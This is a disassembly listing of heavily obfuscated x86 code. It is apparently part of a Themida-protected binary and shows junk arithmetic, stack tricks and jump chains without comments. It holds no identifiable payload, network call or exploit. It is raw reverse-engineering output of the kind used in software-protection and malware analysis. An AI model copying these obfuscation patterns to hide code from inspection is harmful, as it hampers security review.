; ---------------------------------------------------------------------------


loc_5974CA:				; CODE XREF: sub_59196D+321Cj
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		rep movsd
		add	esp, [edx+38h]
		push	ebx
		mov	ebx, 38h
		sub	ebx, 548A1384h
		add	ebx, edx
		push	edx
		mov	edx, 548A1384h
		jmp	loc_592DE6
; ---------------------------------------------------------------------------


loc_5974FD:				; CODE XREF: sub_59196D-205j
		mov	ecx, esp
		jmp	loc_58D8D1
; ---------------------------------------------------------------------------


loc_597504:				; CODE XREF: sub_59196D-5ADFj
		mov	edi, ebp
		mov	ebp, [esp+3Eh+var_40+2]
		add	esp, 4
		add	[esp+3Ah+var_36], edi
		pop	edi
		jmp	loc_59860D
; ---------------------------------------------------------------------------


loc_597516:				; CODE XREF: sub_59196D+E71j
		jbe	loc_58C293
		not	cl
		push	edx
		mov	dl, 24h
		shl	dl, 7
		shl	dl, 2
		mov	bl, 0CDh
		pop	ebx


loc_59752A:				; CODE XREF: sub_59196D+53F0j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59752F:				; CODE XREF: sub_59196D+1AEFj
		mov	edx, ebx
		pop	ebx
		add	edx, ebx
		pop	ebx
		mov	ecx, edx
		push	[esp+0Ch+var_C]
		pop	edx
		jmp	loc_594820
; ---------------------------------------------------------------------------


loc_597540:				; CODE XREF: sub_59196D-641Aj
		sub	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 3565124Ch
		push	edx
		jmp	loc_592D0B
; ---------------------------------------------------------------------------


loc_59754F:				; CODE XREF: sub_59196D+39EBj
		add	esp, 2
		jmp	loc_596D62
; ---------------------------------------------------------------------------


loc_59755A:				; CODE XREF: sub_59196D-B98j
		sub	edi, edx
		pop	edx
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+52h+var_54+2], eax
		mov	ah, dl
		mov	bh, ah
		mov	eax, [esp+52h+var_54+2]
		add	esp, 4
		mov	al, bh
		mov	ebx, [esp+4Eh+var_4E]
		add	esp, 4
		mov	cl, al
		pop	eax
		push	ebx
		jmp	loc_58E36C
; ---------------------------------------------------------------------------


loc_59757F:				; CODE XREF: sub_59196D-AD2j
		sub	esp, 4
		mov	[esp+20h+var_22+2], eax
		push	ebx
		mov	bh, 0BEh
		not	bh
		dec	bh
		add	bh, 25h
		mov	ah, bh
		pop	ebx
		sub	ah, 0D2h
		mov	ch, ah
		jmp	loc_58EBA9
; ---------------------------------------------------------------------------


loc_59759C:				; CODE XREF: sub_59196D-4BC6j
					; sub_59196D-15A0j
		pop	ebp
		xchg	edx, [esp+36h+var_36]
		pop	esp
		push	2528h
		jmp	loc_590FCC
; ---------------------------------------------------------------------------


loc_5975AB:				; CODE XREF: sub_59196D+46A8j
		add	esp, 4
		jmp	loc_58BABD
; ---------------------------------------------------------------------------


loc_5975B6:				; CODE XREF: sub_59196D+2850j
					; sub_59196D:loc_596D1Bj
		not	al
		sub	al, 0F7h
		mov	bl, al
		pop	eax
		sub	al, 91h
		add	al, bl
		add	al, 91h
		mov	bx, [esp+0]
		jmp	loc_58CBBE
; ---------------------------------------------------------------------------


loc_5975CC:				; CODE XREF: sub_59196D+E36j
		jmp	loc_592371
; ---------------------------------------------------------------------------


loc_5975D1:				; CODE XREF: sub_59196D-2E48j
		mov	cl, 0FDh
		dec	cl
		jmp	loc_58F61D
; ---------------------------------------------------------------------------


loc_5975DA:				; CODE XREF: sub_59196D+8A7j
		add	ecx, 89C8A74Fh
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp+2Ch+var_2E+2]
		jmp	loc_58CFAE
; ---------------------------------------------------------------------------


loc_5975F1:				; CODE XREF: sub_59196D-2C6j
		push	edi
		jmp	loc_58F790
; ---------------------------------------------------------------------------


loc_5975F7:				; CODE XREF: sub_59196D+566Aj
		dec	al
		jnp	loc_5959F5
		dec	al
		jo	loc_596986
		add	al, 1Eh
		js	loc_597850
		xor	al, 37h
		mov	bl, al
		push	[esp+2Eh+var_2E]
		pop	eax
		mov	al, bh
		push	ebx


loc_59761A:				; CODE XREF: sub_59196D-4420j
		push	1E0Dh
		mov	[esp+36h+var_36], edi
		mov	edi, ebx
		mov	eax, edi
		mov	edi, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_58F8BF
; ---------------------------------------------------------------------------


loc_597631:				; CODE XREF: sub_59196D+2590j
		pop	esp
		push	[esp+22h+var_22]
		pop	eax
		sub	esp, 4
		mov	[esp+26h+var_26], ecx
		push	5D6Ch
		push	5B59h
		jmp	loc_59340F
; ---------------------------------------------------------------------------


loc_59764E:				; CODE XREF: sub_59196D+7C4j
		add	esi, 4
		xor	esi, [esp+32h+var_32]
		xor	[esp+32h+var_32], esi
		xor	esi, [esp+32h+var_32]
		jmp	loc_594E19
; ---------------------------------------------------------------------------


loc_597662:				; CODE XREF: sub_58B8EB+6j
		mov	[esp+32h+var_32], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+36h+var_36], ecx
		push	edx
		mov	edx, 4785112h
		push	ebx
		mov	ebx, 27C4383Bh
		xor	ebx, 2B13628Bh
		js	loc_5984A0
		and	ebx, 0F8146BBh
		jnb	loc_58C572
		sub	ebx, 9C148D21h
		mov	ecx, ebx
		jmp	loc_595910
; ---------------------------------------------------------------------------


loc_5976A3:				; CODE XREF: sub_59196D-5032j
		sub	esp, 4
		mov	[esp+42h+var_44+2], edi
		push	edx
		jmp	loc_595C6C
; ---------------------------------------------------------------------------


loc_5976AF:				; CODE XREF: sub_59196D-AE6j
		pop	edx
		jmp	loc_596F9C
; ---------------------------------------------------------------------------


loc_5976B5:				; CODE XREF: sub_59196D-15CFj
		add	esp, 4
		jmp	loc_58F041
; ---------------------------------------------------------------------------


loc_5976BD:				; CODE XREF: Themida_:0058C5BEj
		or	ebx, 9661758h
		and	ebx, 2055173Dh
		and	ebx, 601254AFh
		jmp	loc_58F160
; ---------------------------------------------------------------------------


loc_5976D4:				; CODE XREF: sub_59196D+61A6j
		add	ecx, 0AA20915h
		pop	esi
		pop	esi
		jmp	loc_597B18
; ---------------------------------------------------------------------------


loc_5976E1:				; CODE XREF: sub_59196D-3014j
		pop	ecx
		push	ecx
		jmp	loc_598536
; ---------------------------------------------------------------------------


loc_5976E8:				; CODE XREF: sub_59196D-34B8j
		push	ecx
		push	[esp+14h+var_12+2]
		jmp	loc_58D368
; ---------------------------------------------------------------------------


loc_5976F2:				; CODE XREF: sub_59196D+281Ej
		pop	edx
		xor	ebx, [esp+34h+var_36+2]
		jmp	loc_59319E
; ---------------------------------------------------------------------------


loc_5976FB:				; CODE XREF: sub_59196D+13A3j
		sub	ebp, edx
		pop	edx
		sub	ebp, edx
		add	ebp, 7DD45C4Fh
		jmp	loc_58C566
; ---------------------------------------------------------------------------
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	eax
		jmp	loc_5915E9
; ---------------------------------------------------------------------------


loc_59771D:				; CODE XREF: sub_59196D-2957j
		mov	[esp-10h+arg_C], esi
		mov	eax, [esp-10h+arg_C]
		add	esp, 4
		pop	esi
		dec	eax
		not	eax
		jmp	loc_593BDC
; ---------------------------------------------------------------------------


loc_597732:				; CODE XREF: sub_59196D-505Aj
		mov	ebp, 51BA22AAh
		mov	edx, ebp
		mov	ebp, [esp+3Eh+var_40+2]
		add	esp, 4
		push	0C7464B54h
		jmp	loc_58B7BC
; ---------------------------------------------------------------------------


loc_59774C:				; CODE XREF: sub_59196D+3B7Fj
		mov	ebp, 47640E18h
		add	ebp, 0BEBB48B9h
		jmp	loc_595C05
; ---------------------------------------------------------------------------


loc_59775C:				; CODE XREF: sub_59196D+2C1Fj
		add	esp, 4
		jmp	loc_58FC40
; ---------------------------------------------------------------------------


loc_597764:				; CODE XREF: sub_59196D-475Cj
		pop	esi
		sub	esi, 2C230573h
		dec	esi
		xor	esi, 4BC47C40h
		jp	loc_58EE7E
		neg	esi
		jo	loc_592E01
		jmp	loc_5901AD
; ---------------------------------------------------------------------------


loc_597785:				; CODE XREF: sub_59196D-37D3j
		mov	edi, esp
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebx
		jmp	loc_597424
; ---------------------------------------------------------------------------


loc_597795:				; CODE XREF: sub_59196D+6A8Fj
		pop	[esp+14h+var_16+2]
		pop	esp
		mov	[esp+0Ch+var_C], eax
		mov	ah, 38h
		jmp	loc_597B60
; ---------------------------------------------------------------------------


loc_5977A3:				; CODE XREF: sub_59196D-34FFj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5977A8:				; CODE XREF: sub_59196D+1622j
		sub	esi, eax
		pop	eax
		xor	eax, esi
		mov	esi, [esp+18h+var_1A+2]
		push	esi
		jmp	loc_591C35
; ---------------------------------------------------------------------------


loc_5977B6:				; CODE XREF: sub_59196D-4359j
		pop	edx
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], esi
		mov	esi, 65CE7299h
		jmp	loc_595069
; ---------------------------------------------------------------------------


loc_5977D3:				; CODE XREF: sub_59196D+1252j
		add	ebx, ecx
		add	ebx, 74B36A0Fh
		mov	[ebx], eax
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		mov	ecx, [esp+14h+var_16+2]
		jmp	loc_592C50
; ---------------------------------------------------------------------------


loc_5977EE:				; CODE XREF: sub_59196D+48BBj
		mov	ebp, 71F9072Eh
		push	edx
		mov	edx, 1ED30727h
		jmp	loc_59782F
; ---------------------------------------------------------------------------


loc_5977FE:				; CODE XREF: sub_59196D-3AEAj
		add	ecx, 630755B0h
		mov	[edi+24h], ecx
		pop	ecx
		pop	edx
		xor	edx, edx
		push	6997h
		mov	[esp+2Ch+var_2E+2], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	[esp+30h+var_2E+2]
		push	[esp+34h+var_36+2]
		pop	esi
		jmp	loc_597926
; ---------------------------------------------------------------------------


loc_59782F:				; CODE XREF: sub_59196D+5E8Cj
		neg	edx
		or	edx, 364D4E3Fh
		neg	edx
		add	edx, 68F75C89h
		jmp	loc_597E2E
; ---------------------------------------------------------------------------


loc_597844:				; CODE XREF: sub_59196D-30D0j
		push	edi
		push	ecx
		push	26A019Dh
		jmp	loc_5924C7
; ---------------------------------------------------------------------------


loc_597850:				; CODE XREF: sub_59196D+5C9Cj
		xor	al, 37h
		mov	bl, al
		push	[esp+2Eh+var_2E]
		pop	eax
		jmp	loc_597FBC
; ---------------------------------------------------------------------------


loc_59785D:				; CODE XREF: sub_59196D+12C6j
		pop	edx
		add	edx, 4
		push	2AF3h
		mov	[esp+0Ah+var_C+2], eax
		sub	esp, 4
		jmp	loc_598185
; ---------------------------------------------------------------------------


loc_597877:				; CODE XREF: sub_59196D+4507j
		add	esi, 4
		xchg	esi, [esp+44h+var_44]
		jmp	loc_593C43
; ---------------------------------------------------------------------------


loc_597882:				; CODE XREF: sub_59196D-201Aj
					; sub_59196D+3AE1j
		jmp	loc_59416A
; ---------------------------------------------------------------------------


loc_597887:				; CODE XREF: sub_59196D+24C9j
		push	edx
		mov	edx, 2B404F1Fh
		shr	edx, 7
		jmp	loc_58B812
; ---------------------------------------------------------------------------


loc_597895:				; CODE XREF: sub_59196D+60D2j
		push	esi
		mov	esi, 3DBC0580h
		jmp	loc_59820C
; ---------------------------------------------------------------------------


loc_5978A0:				; CODE XREF: sub_59196D-5521j
					; sub_59196D+39D0j
		push	[esp-0Ch+arg_8]
		pop	edi
		push	4456h
		mov	[esp-8+arg_4], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-8+arg_4]
		xor	[esp-8+arg_4], eax
		xor	eax, [esp-8+arg_4]
		pop	esp
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5978CA:				; CODE XREF: sub_59196D-5B59j
					; sub_59196D+2A81j
		sub	bl, al
		pop	eax
		sub	bl, 33h
		xor	bl, 0A2h
		sub	esp, 4
		mov	[esp+2Eh+var_2E], eax
		push	edx
		mov	dh, bl
		mov	ah, dh
		pop	edx
		mov	dh, ah
		mov	eax, [esp+2Eh+var_2E]
		add	esp, 4
		pop	ebx
		xor	al, dh
		mov	dx, word ptr [esp+26h+var_26]
		add	esp, 2
		sub	esp, 2
		mov	word ptr [esp+26h+var_26], dx
		mov	dl, 52h
		add	bl, 0EFh
		jmp	loc_58BD1C
; ---------------------------------------------------------------------------


loc_597908:				; CODE XREF: sub_59196D-2979j
		push	edx
		push	135C6F1Dh
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		push	ecx
		jmp	loc_58C0F8
; ---------------------------------------------------------------------------


loc_59791D:				; CODE XREF: sub_59196D-60DCj
		sub	al, 7Dh
		mov	dh, al
		jmp	loc_58EEE5
; ---------------------------------------------------------------------------


loc_597926:				; CODE XREF: sub_59196D+5EBDj
		sub	esp, 4
		jmp	loc_58FE42
; ---------------------------------------------------------------------------


loc_59792E:				; CODE XREF: sub_59196D+314j
		add	esp, 4
		jmp	sub_58CD7E
; ---------------------------------------------------------------------------


loc_597939:				; CODE XREF: sub_59196D-3F7Aj
		xor	edx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_591317
; ---------------------------------------------------------------------------


loc_597942:				; CODE XREF: sub_59196D-5C2Aj
		sub	esp, 4
		mov	[esp+2Ah+var_2A], ecx
		push	edi
		push	esp
		jmp	loc_5933FB
; ---------------------------------------------------------------------------


loc_597952:				; CODE XREF: sub_59196D+1EDDj
		push	edx
		jmp	loc_58EC56
; ---------------------------------------------------------------------------


loc_597958:				; CODE XREF: sub_59196D-4401j
		pop	ebx
		push	[esp+24h+var_26+2]
		jmp	loc_58E6B7
; ---------------------------------------------------------------------------


loc_597961:				; CODE XREF: sub_59196D+57F6j
		neg	edx
		shl	edx, 7
		jmp	loc_58C84D
; ---------------------------------------------------------------------------


loc_59796B:				; CODE XREF: sub_59196D+37BBj
		pop	esi
		jmp	loc_5903DA
; ---------------------------------------------------------------------------


loc_597971:				; CODE XREF: sub_59196D+6A5Ej
		push	ebx
		mov	ebx, esp
		jmp	loc_58C4EF
; ---------------------------------------------------------------------------


loc_597979:				; CODE XREF: sub_59196D-4944j
		mov	ebx, esp
		push	4588h
		mov	[esp+20h+var_22+2], ecx
		jmp	loc_58CC63
; ---------------------------------------------------------------------------


loc_597988:				; CODE XREF: sub_59196D-60F0j
		shl	esi, 3
		jp	loc_596662
		sub	esp, 4
		jmp	loc_59399E
; ---------------------------------------------------------------------------


loc_59799C:				; CODE XREF: sub_59196D+40F8j
		mov	[esp+20h+var_22+2], edi
		mov	edi, 51EA0D23h
		jmp	loc_58E9A6
; ---------------------------------------------------------------------------


loc_5979A9:				; CODE XREF: sub_59196D+4035j
					; sub_59196D+5A13j
		pop	edx
		pop	[esp+2Eh+var_2E]
		pop	esp
		push	edi
		mov	edi, 7B053782h
		xor	edi, 534F21A9h
		shl	edi, 3
		neg	edi
		sub	edi, 491E7466h
		not	edi
		sub	edi, 8B6F25BBh
		jmp	loc_5931AF
; ---------------------------------------------------------------------------


loc_5979D2:				; CODE XREF: sub_58C816+3A03j
		mov	ebx, 16610FB1h
		sub	ebx, 16610FB1h
		mov	edx, ebx
		pop	ebx
		sub	edx, 50D92956h
		sub	edx, edi
		add	edx, 50D92956h
		xchg	edx, edi
		pop	edx
		jmp	loc_591082
; ---------------------------------------------------------------------------


loc_5979F6:				; CODE XREF: sub_59196D+272Aj
		pop	eax
		mov	ecx, [esp-4+arg_0]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	ebx
		mov	ebx, 5AB76B11h
		xchg	esi, ebx
		jmp	loc_58F254
; ---------------------------------------------------------------------------


loc_597A17:				; CODE XREF: sub_59196D-5B26j
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	esi
		push	[esp+36h+var_32]
		push	[esp+3Ah+var_3C+2]
		pop	esi
		jmp	loc_58E06D
; ---------------------------------------------------------------------------


loc_597A34:				; CODE XREF: sub_59196D-478Aj
					; sub_59196D+13Cj
		sub	ecx, 35BFA80h
		add	edi, ecx
		pop	ecx
		add	edi, ecx
		jmp	loc_597895
; ---------------------------------------------------------------------------


loc_597A44:				; CODE XREF: sub_59196D-4617j
		mov	ebp, [esp+4Eh+var_4E]
		jmp	loc_592D8C
; ---------------------------------------------------------------------------


loc_597A4C:				; CODE XREF: sub_59196D-6045j
		add	[esp+1Ch+var_1E+2], 4
		jmp	loc_597D10
; ---------------------------------------------------------------------------


loc_597A58:				; CODE XREF: sub_59196D-37ECj
		mov	edx, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_12+2], ecx
		mov	ecx, esp
		jmp	loc_594830
; ---------------------------------------------------------------------------


loc_597A68:				; CODE XREF: sub_59196D+13C8j
		mov	ecx, esp
		push	esi
		mov	esi, 33801EEAh
		xor	esi, 31FA187Dh
		shl	esi, 3
		shr	esi, 2
		dec	esi
		or	esi, 3B822616h
		sub	esi, 3FF62F3Bh
		add	ecx, esi
		pop	esi
		jmp	loc_590063
; ---------------------------------------------------------------------------


loc_597A91:				; CODE XREF: sub_59196D+4ADj
		mov	edx, 1BAC68D1h
		xor	edx, 280F607Ch
		add	edx, 0FFADF35Ah
		add	ebp, edx
		pop	edx
		xor	eax, ebp
		jmp	loc_59596A
; ---------------------------------------------------------------------------


loc_597AAC:				; CODE XREF: sub_59196D+4E2Bj
		pop	ebp
		jmp	loc_5971C8
; ---------------------------------------------------------------------------


loc_597AB2:				; CODE XREF: sub_59196D+5A68j
		sub	ecx, edx
		mov	edx, [esp+6+var_8+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_591507
; ---------------------------------------------------------------------------


loc_597ACB:				; CODE XREF: sub_59196D+3C84j
		pop	eax
		jmp	sub_58B8EB
; ---------------------------------------------------------------------------


loc_597AD1:				; CODE XREF: sub_59196D+6ABBj
		mov	ebp, [esp+1Ch+var_1E+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_596EAA
; ---------------------------------------------------------------------------


loc_597AEE:				; CODE XREF: sub_59196D-540Cj
		push	edx
		mov	edx, 20026218h
		sub	ebp, edx
		pop	edx
		add	ebp, 78A47ECEh
		add	ebp, ecx
		sub	ebp, 78A47ECEh
		push	ecx
		jmp	loc_595729
; ---------------------------------------------------------------------------


loc_597B0B:				; CODE XREF: sub_59196D+2972j
		sub	ecx, 0AA20915h
		add	ecx, esi
		jmp	loc_5976D4
; ---------------------------------------------------------------------------


loc_597B18:				; CODE XREF: sub_59196D+5D6Fj
		xchg	ecx, [esp+4+var_4]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5951B3
; ---------------------------------------------------------------------------


loc_597B2A:				; CODE XREF: sub_59196D+68E2j
		pop	esi
		jmp	sub_590F7A
; ---------------------------------------------------------------------------


loc_597B30:				; CODE XREF: sub_59196D+4664j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_58C067
; ---------------------------------------------------------------------------


loc_597B3D:				; CODE XREF: sub_59196D-CB6j
		mov	eax, [esp+24h+var_26+2]
		add	esp, 4
		sub	eax, edi
		mov	edi, [esp+20h+var_22+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+24h+var_26+2]
		jmp	loc_58CA4C
; ---------------------------------------------------------------------------


loc_597B60:				; CODE XREF: sub_59196D+5E31j
		dec	ah
		jge	loc_58ED58
		xor	ah, 51h
		jmp	loc_59718D
; ---------------------------------------------------------------------------
		sub	esp, 4


loc_597B73:				; CODE XREF: sub_59196D+361Cj
		sub	ax, 4194h
		sub	ax, di
		push	cx
		push	ebx
		mov	bx, 4194h
		jmp	loc_5983B2
; ---------------------------------------------------------------------------
		push	[esp+16h+var_16]
		push	[esp+1Ah+var_1A]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1A], eax
		sub	esp, 4
		mov	[esp+1Eh+var_1E], esp
		add	[esp+1Eh+var_1E], 4
		jmp	loc_596E5F
; ---------------------------------------------------------------------------


loc_597BAE:				; CODE XREF: sub_59196D+240Fj
		pop	ebx
		jmp	loc_59467A
; ---------------------------------------------------------------------------


loc_597BB4:				; CODE XREF: sub_59196D-510Aj
		mov	dx, word ptr [esp+10h+var_12+2]
		sub	esp, 4
		mov	[esp+14h+var_16+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		push	ecx
		push	[esp+18h+var_16+2]
		jmp	loc_596972
; ---------------------------------------------------------------------------


loc_597BD3:				; CODE XREF: sub_59196D-437Cj
		add	ecx, 4
		xchg	ecx, [esp+1Ch+var_1E+2]
		pop	esp
		push	3675h
		mov	[esp+1Ch+var_1E+2], ecx
		jmp	loc_58B5B9
; ---------------------------------------------------------------------------


loc_597BE7:				; CODE XREF: sub_59196D-3D62j
		mov	ebp, 52824DA2h
		push	2AB4h
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, 792811FDh
		jmp	loc_5939A4
; ---------------------------------------------------------------------------


loc_597BFE:				; CODE XREF: sub_59196D+CBFj
		sub	esp, 4
		mov	[esp+42h+var_44+2], edi
		mov	edi, 2
		add	ecx, edi
		pop	edi
		jmp	loc_590056
; ---------------------------------------------------------------------------


loc_597C11:				; CODE XREF: sub_59196D+68BAj
		pop	eax
		xchg	ecx, [esp+3Ah+var_3C+2]
		mov	esp, [esp+3Ah+var_3C+2]
		cmp	cx, ax
		pushf
		jmp	loc_58F78B
; ---------------------------------------------------------------------------


loc_597C21:				; CODE XREF: sub_59196D+1F78j
		push	0C8Fh
		jmp	loc_58FB3E
; ---------------------------------------------------------------------------


loc_597C2B:				; CODE XREF: sub_59196D+15F8j
		sub	ebx, 3ED61EB1h
		add	ebx, edi
		jmp	sub_58F42B
; ---------------------------------------------------------------------------


loc_597C38:				; DATA XREF: Themida_:0058B104o
		lodsd
		xor	eax, ebx
		jmp	loc_595742
; ---------------------------------------------------------------------------


loc_597C40:				; CODE XREF: sub_59196D+30C3j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], edx
		xor	edx, [esp+14h+var_16+2]
		pop	esp
		add	[esp+10h+var_12+2], eax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
		neg	byte ptr [esp+14h+var_16+2]
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_597C6A:				; CODE XREF: sub_59196D+2D99j
		add	bl, 0A7h
		xor	bl, 8Bh
		sub	esp, 4
		jmp	loc_58D09B
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_597C83:				; CODE XREF: sub_59196D+30A0j
		inc	dl
		add	dl, 0CDh
		sub	ch, dl
		jmp	loc_593180
; ---------------------------------------------------------------------------


loc_597C8F:				; CODE XREF: sub_59196D-3291j
		mov	ecx, [esp+3Eh+var_40+2]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp+3Ah+var_3C+2]
		add	esp, 4
		or	edx, eax
		jmp	loc_592686
; ---------------------------------------------------------------------------


loc_597CAA:				; CODE XREF: sub_59196D-3FE5j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+18h+var_1A+2]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edi
		push	esp
		pop	edi
		push	esi
		jmp	loc_590651
; ---------------------------------------------------------------------------


loc_597CCF:				; CODE XREF: sub_59196D-5A0Fj
		and	edx, 6E70608Eh
		and	edx, 29074C85h
		push	ecx
		mov	ecx, 15E60F41h
		and	edx, ecx
		pop	ecx
		sub	edx, 0FFFFFFFEh
		sub	esi, 29E20168h
		jmp	loc_591A27
; ---------------------------------------------------------------------------


loc_597CF5:				; CODE XREF: sub_59196D+30E7j
		and	bh, 1Fh
		jmp	loc_596C79
; ---------------------------------------------------------------------------


loc_597CFD:				; CODE XREF: sub_59196D-3C4Fj
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, 0BEC7ABDh
		jmp	loc_5956FE
; ---------------------------------------------------------------------------


loc_597D10:				; CODE XREF: sub_59196D+60E6j
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_595FA9
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0BBh
		jmp	sub_5917FA
; ---------------------------------------------------------------------------


loc_597D23:				; CODE XREF: sub_59196D+3DD0j
		sub	ebx, 39BA0C49h
		xor	ebx, 576A136Ah
		sub	ebp, ebx
		pop	ebx
		add	ebp, ecx
		jmp	loc_58F3F8
; ---------------------------------------------------------------------------


loc_597D39:				; CODE XREF: sub_59196D-1400j
		push	[esp+2Ah+var_2A]
		jmp	loc_5918A7
; ---------------------------------------------------------------------------


loc_597D41:				; CODE XREF: sub_59196D-1432j
		mov	edi, ecx
		mov	esi, edi
		pop	edi
		pop	ecx
		shr	esi, 2
		shr	esi, 7
		jmp	loc_58EE4B
; ---------------------------------------------------------------------------


loc_597D52:				; CODE XREF: sub_59196D+3841j
		mov	esp, [esp+18h+var_1A+2]
		btc	word ptr [esp+18h+var_1A+2], ax
		pushf
		jmp	loc_5946E6
; ---------------------------------------------------------------------------


loc_597D60:				; CODE XREF: sub_59196D-398Dj
		add	[esp+32h+var_2E], 25354F66h
		pop	ebx
		sub	[esp+2Eh+var_2E], eax
		sub	esp, 4
		mov	[esp+32h+var_32], ebx
		jmp	loc_593FAA
; ---------------------------------------------------------------------------


loc_597D7A:				; CODE XREF: sub_59196D+25B2j
		mov	esi, 78F57ED8h
		sub	esi, ebx
		pop	ebx
		mov	eax, esi
		mov	esi, [esp+14h+var_16+2]
		push	edx
		mov	edx, esp
		jmp	loc_596E06
; ---------------------------------------------------------------------------


loc_597D8F:				; CODE XREF: sub_58C376+20F0j
		add	dh, al
		add	dh, 24h
		pop	eax
		sub	dh, al
		push	eax
		jmp	loc_58B791
; ---------------------------------------------------------------------------


loc_597D9D:				; DATA XREF: Themida_:0058B120o
		mov	cx, word ptr [esp+18h+var_1A+2]
		push	5FAEh
		mov	[esp+1Ch+var_1E+2], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+20h+var_22+2], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], ebx
		mov	ebx, 4FAE7A78h
		inc	ebx
		jmp	loc_58D4F4
; ---------------------------------------------------------------------------


loc_597DCE:				; CODE XREF: sub_59196D+67B5j
		mov	[esp+1Ch+var_1E+2], eax
		mov	eax, 0B7E0BFFh
		sub	[esp+1Ch+var_16+2], eax
		pop	eax
		add	[esp+18h+var_16+2], edi
		add	[esp+18h+var_16+2], 0B7E0BFFh
		sub	[esp+18h+var_16+2], 46173E99h
		pop	edi
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_597DF5:				; CODE XREF: sub_59196D-3522j
		sub	ecx, 3AB8D768h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		jmp	loc_593508
; ---------------------------------------------------------------------------


loc_597E06:				; CODE XREF: sub_59196D-2F13j
		push	ecx
		jmp	loc_58F2AB
; ---------------------------------------------------------------------------


loc_597E0C:				; CODE XREF: sub_59196D+905j
					; sub_59196D+DC2j
		push	esi
		jmp	loc_593596
; ---------------------------------------------------------------------------


loc_597E12:				; CODE XREF: sub_59196D-4AB6j
		mov	edx, 133F40B5h
		not	edx
		add	edx, 7DC30CB1h
		sub	edx, 6A83CBF7h
		add	esi, edx
		pop	edx
		push	edx
		jmp	loc_59407C
; ---------------------------------------------------------------------------


loc_597E2E:				; CODE XREF: sub_59196D+5ED2j
		or	ebp, edx
		pop	edx
		or	ebp, 26A632FBh
		add	ebp, 88008005h
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		jmp	loc_58EECE
; ---------------------------------------------------------------------------


loc_597E48:				; CODE XREF: Themida_:0058FE1Cj
		shr	al, 7
		jz	loc_58C633
		neg	al
		jp	loc_591D40
		mov	bl, dh
		mov	cl, dl


loc_597E5D:				; CODE XREF: Themida_:0058FE2Dj
					; sub_59196D+5581j
		xor	dh, al
		xor	al, dh
		push	small 32C7h
		jmp	loc_594BA1
; ---------------------------------------------------------------------------


loc_597E6A:				; CODE XREF: sub_59196D+4590j
		sub	al, 8Fh
		pop	ecx
		add	al, 1Dh
		sub	al, bl
		jmp	loc_590540
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Ah+var_1A]
		push	eax
		push	2BD2h
		sub	esp, 4
		mov	[esp+26h+var_26], esp
		add	[esp+26h+var_26], 4
		pop	[esp+26h+var_26]
		add	[esp+22h+var_22], 4
		jmp	loc_58FF86
; ---------------------------------------------------------------------------


loc_597E9C:				; CODE XREF: sub_59196D+1157j
		mov	[esp+24h+var_26+2], ebx
		mov	bh, 6Ch
		not	bh
		inc	bh
		and	bh, 0F5h
		sub	bh, 1Ah
		push	edx
		mov	dh, 0C5h
		not	dh
		neg	dh
		dec	dh
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], ebx
		push	ecx
		jmp	loc_596B78
; ---------------------------------------------------------------------------


